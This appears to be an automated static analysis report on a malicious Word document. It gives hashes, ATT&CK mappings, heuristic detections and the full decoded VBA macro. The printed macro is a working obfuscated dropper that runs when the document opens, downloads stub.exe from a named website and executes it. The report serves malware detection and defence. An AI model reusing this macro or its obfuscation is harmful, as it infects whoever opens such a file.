Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 b15d63681c17e2aa…

MALICIOUS

Office (OLE)

29.5 KB Created: 2019-04-12 14:47:00 Authoring application: Microsoft Office Word First seen: 2019-05-16
MD5: ed3b0943b223fcad9d78973af5410fa3 SHA-1: 6d78285c8092121ecd65195c03aee430bad8013a SHA-256: b15d63681c17e2aad8ae6d656c451ed51d4116345513c288b0127fbdebc60f02
410 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1105 Ingress Tool Transfer T1204.002 Malicious File

The sample contains a VBA macro that executes upon opening the document. This macro is obfuscated and uses the Shell() function to download a file from 'http://ellesmerefamilyhealth.com/wp-admin/network/Module/stub.exe' and save it as 'DROPNAME.EXE'. The downloaded file is then executed, indicating a dropper functionality.

Heuristics 10

  • ClamAV: Doc.Dropper.Agent-6412232-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-6412232-1
  • VBA macros detected medium 7 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
    Shell Chr(238 - 171) & Chr(434 - 357) & Chr(325 - 225) & Chr(842 - 810) & Chr(430 - 383) & Chr(807 - 708) & Chr(842 - 810) & Chr(807 - 708) & Chr(325 - 225) & _
  • Obfuscated VBA Shell command with URL critical OLE_VBA_OBFUSCATED_SHELL_URL
    VBA macro invokes Shell with command text assembled through decoder or string-manipulation functions and includes a URL. This is a high-confidence downloader/dropper pattern, stronger than Shell or URL evidence on their own.
    Matched line in script
    Shell Chr(238 - 171) & Chr(434 - 357) & Chr(325 - 225) & Chr(842 - 810) & Chr(430 - 383) & Chr(807 - 708) & Chr(842 - 810) & Chr(807 - 708) & Chr(325 - 225) & _
  • VBA downloads and writes a file to disk critical OLE_VBA_HTTP_DROP_EXEC
    VBA reads an HTTP response body and writes it to disk (ADODB.Stream SaveToFile). Combined with the auto-exec/Shell paths this is a download-drop dropper even when the COM ProgIDs are built dynamically to evade keyword scanning.
    Matched line in script
     " & " & C9h & " J0x= ""http://ellesmerefamilyhealth.com/wp-admin/network/Module/stub.exe"">>A4e.VBS &" & C9h & " F2s = Y1z(""O]Z[YLXP9PcP"")>>A4e.VBS &" & C9h & " Set X4s = CreateObject(Y1z(""X^cXW=9cXWS__[""))>>A4e.VBS &" & C9h & " X4s.Open Y1z(""RP_""), J0x, False>>A4e.VBS &" & C9h & " X4s.send ("""")>>A4e.VBS  &" & C9h & " Set M8g = CreateObject(Y1z(""LOZOM9^_]PLX""))>>A4e.VBS &" & C9h & " M8g.Open>>A4e.VBS &" & C9h & " M8g.Type = 1 >>A4e.VBS  &@eCHo M8g.Write X4s.ResponseBody>>A4e.VBS &" &  …
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
    Matched line in script
    Shell Chr(238 - 171) & Chr(434 - 357) & Chr(325 - 225) & Chr(842 - 810) & Chr(430 - 383) & Chr(807 - 708) & Chr(842 - 810) & Chr(807 - 708) & Chr(325 - 225) & _
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
     " & " & C9h & " J0x= ""http://ellesmerefamilyhealth.com/wp-admin/network/Module/stub.exe"">>A4e.VBS &" & C9h & " F2s = Y1z(""O]Z[YLXP9PcP"")>>A4e.VBS &" & C9h & " Set X4s = CreateObject(Y1z(""X^cXW=9cXWS__[""))>>A4e.VBS &" & C9h & " X4s.Open Y1z(""RP_""), J0x, False>>A4e.VBS &" & C9h & " X4s.send ("""")>>A4e.VBS  &" & C9h & " Set M8g = CreateObject(Y1z(""LOZOM9^_]PLX""))>>A4e.VBS &" & C9h & " M8g.Open>>A4e.VBS &" & C9h & " M8g.Type = 1 >>A4e.VBS  &@eCHo M8g.Write X4s.ResponseBody>>A4e.VBS &" &  …
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Private Sub Document_Open()
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://ellesmerefamilyhealth.com/wp-admin/network/Module/stub.exe Referenced by macro
    • http://schemas.openxmlformats.org/drawingml/2006/mainReferenced by macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1662 bytes
SHA-256: e70271dd114fd4cffffff7c0cf94e5b08870cd91b5b051dca1dee5d0afe8ff7a
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Open()
C9h = Chr(64) & Chr(69) & Chr(67) & Chr(72) & Chr(79)
Shell Chr(238 - 171) & Chr(434 - 357) & Chr(325 - 225) & Chr(842 - 810) & Chr(430 - 383) & Chr(807 - 708) & Chr(842 - 810) & Chr(807 - 708) & Chr(325 - 225) & _
 Chr(842 - 810) & Chr(931 - 894) & Chr(385 - 301) & Chr(254 - 185) & Chr(808 - 731) & Chr(875 - 795) & Chr(931 - 894) & _
 " & " & C9h & " J0x= ""http://ellesmerefamilyhealth.com/wp-admin/network/Module/stub.exe"">>A4e.VBS &" & C9h & " F2s = Y1z(""O]Z[YLXP9PcP"")>>A4e.VBS &" & C9h & " Set X4s = CreateObject(Y1z(""X^cXW=9cXWS__[""))>>A4e.VBS &" & C9h & " X4s.Open Y1z(""RP_""), J0x, False>>A4e.VBS &" & C9h & " X4s.send ("""")>>A4e.VBS  &" & C9h & " Set M8g = CreateObject(Y1z(""LOZOM9^_]PLX""))>>A4e.VBS &" & C9h & " M8g.Open>>A4e.VBS &" & C9h & " M8g.Type = 1 >>A4e.VBS  &@eCHo M8g.Write X4s.ResponseBody>>A4e.VBS &" & C9h & " M8g.Position = 0 >>A4e.VBS &" & C9h & " M8g.SaveToFile F2s, 2 >>A4e.VBS &" & C9h & " M8g.Close>>A4e.VBS &" & C9h & " function Y1z(R8x) >> A4e.VBS &" & C9h & " For W3t = 1 To Len(R8x) >>A4e.VBS &" & C9h & " C9d = Mid(R8x, W3t, 1) >>A4e.VBS &" & C9h & " C9d = Chr(Asc(C9d)- 11) >>A4e.VBS &" & C9h & " J4g = J4g + C9d >> A4e.VBS  &" & C9h & " Next >>A4e.VBS &" & C9h & " Y1z = J4g >>A4e.VBS &" & C9h & " End Function >>A4e.VBS  & A4e.VBS  &dEl A4e.VBS  & tIMeOUT 13 & DROPNAME.EXE", vbHide
End Sub

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